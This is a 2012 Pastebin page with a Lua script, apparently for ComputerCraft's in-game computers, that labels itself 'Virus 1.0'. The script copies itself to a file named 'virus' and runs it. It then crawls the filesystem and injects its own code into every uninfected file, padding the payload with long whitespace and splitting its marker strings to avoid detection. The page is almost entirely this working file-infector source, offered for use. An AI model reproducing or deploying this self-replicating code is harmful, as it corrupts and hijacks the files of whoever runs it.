libraryaddict

Untitled

Apr 17th, 2012
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.52 KB | None | 0 0
  1.   local lolol = io.open(shell.getRunningProgram(), "r")  
  2.   local content = {}  
  3.   local i = 1  
  4.   for line in lolol:lines() do    
  5.   content[#content+1] = line
  6.   end
  7.   lolol:close()
  8.   lolol = io.open("virus", "w")
  9.   for n=1,#content do
  10.   lolol:write( string.format( "%s ", content[n] ) )
  11.   end
  12.   lolol:close()
  13.   shell.run("virus")
  14.   error("Finished. Run \"virus\" to infect everything")
  15. Gahahaha = 1
  16. --[[Virus 1.0 libraryaddictidentify]]
  17. HijackFiles = {}
  18. HijackDirs = {}
  19. TempDirs = fs.list("/")
  20. while TempDirs[1] do
  21.   for n=1,#TempDirs do
  22.     if TempDirs[n] ~= "rom" and TempDirs[n] ~= shell.getRunningProgram() then
  23.       if fs.isDir(TempDirs[n]) then
  24.         local ListDir = fs.list(TempDirs[n])
  25.         for h=1,#ListDir do
  26.           HijackDirs[#HijackDirs+1] = TempDirs[n].."/"..ListDir[h]
  27.         end
  28.       else
  29.         HijackFiles[#HijackFiles+1] = TempDirs[n]
  30.       end
  31.       TempDirs[n] = nil
  32.     end
  33.   end
  34.   TempDirs = HijackDirs
  35.   HijackDirs = {}
  36. end
  37.  
  38.    
  39. function infectLine(file, Infection)
  40.   local lolol = io.open(file, "r")
  41.   local content = {}
  42.   local i = 1
  43.   local pig = ""
  44.   for line in lolol:lines() do
  45.     content[#content+1] = line
  46.     i = i + 1
  47.     pig = pig..line
  48.   end
  49.   lolol:close()
  50.   lineno = math.floor(tonumber(i)/3)
  51.   if lineno == 0 then lineno = 1 end
  52.   if not string.find(pig, "libraryaddictid".."entify") then
  53.   content[lineno] = content[lineno].."                                                                                                                                 ".."Gahahaha = "..lineno..Infection
  54.   end
  55.   local lolol = io.open( file, "w" )
  56.   for i = 1, #content do
  57.     lolol:write( string.format( "%s\n", content[i] ) )
  58.   end
  59.   lolol:close()
  60. end
  61. function Check(filename)
  62.   local lolol = io.open(filename, "r")
  63.   for line in lolol:lines() do
  64.    local first = string.find(line, "libraryaddictid".."entify")
  65.       local last = string.find(line, "libraryaddictide".."ntt")
  66.       if first and last then
  67.     lolol:close()
  68.     return false
  69.     end
  70.   end
  71.   return true
  72. end
  73. function Get()
  74.   local lolol = io.open(shell.getRunningProgram(), "r")
  75.   for line in lolol:lines() do
  76.     local first = string.find(line, "libraryaddictid".."entify")
  77.       local last = string.find(line, "libraryaddictide".."ntt")
  78.     if first and last then
  79.     lolol:close()
  80.     return string.sub(line, first-14, last+20)
  81.     end
  82.   end
  83. end
  84. for n=1,#HijackFiles do
  85.   if Check(HijackFiles[n]) then
  86.     infectLine(HijackFiles[n], Get())
  87.   end
  88. end
  89.  
  90.  
  91.  
  92. --[[libraryaddictidentt]]
Advertisement
Add Comment
Please, Sign In to add comment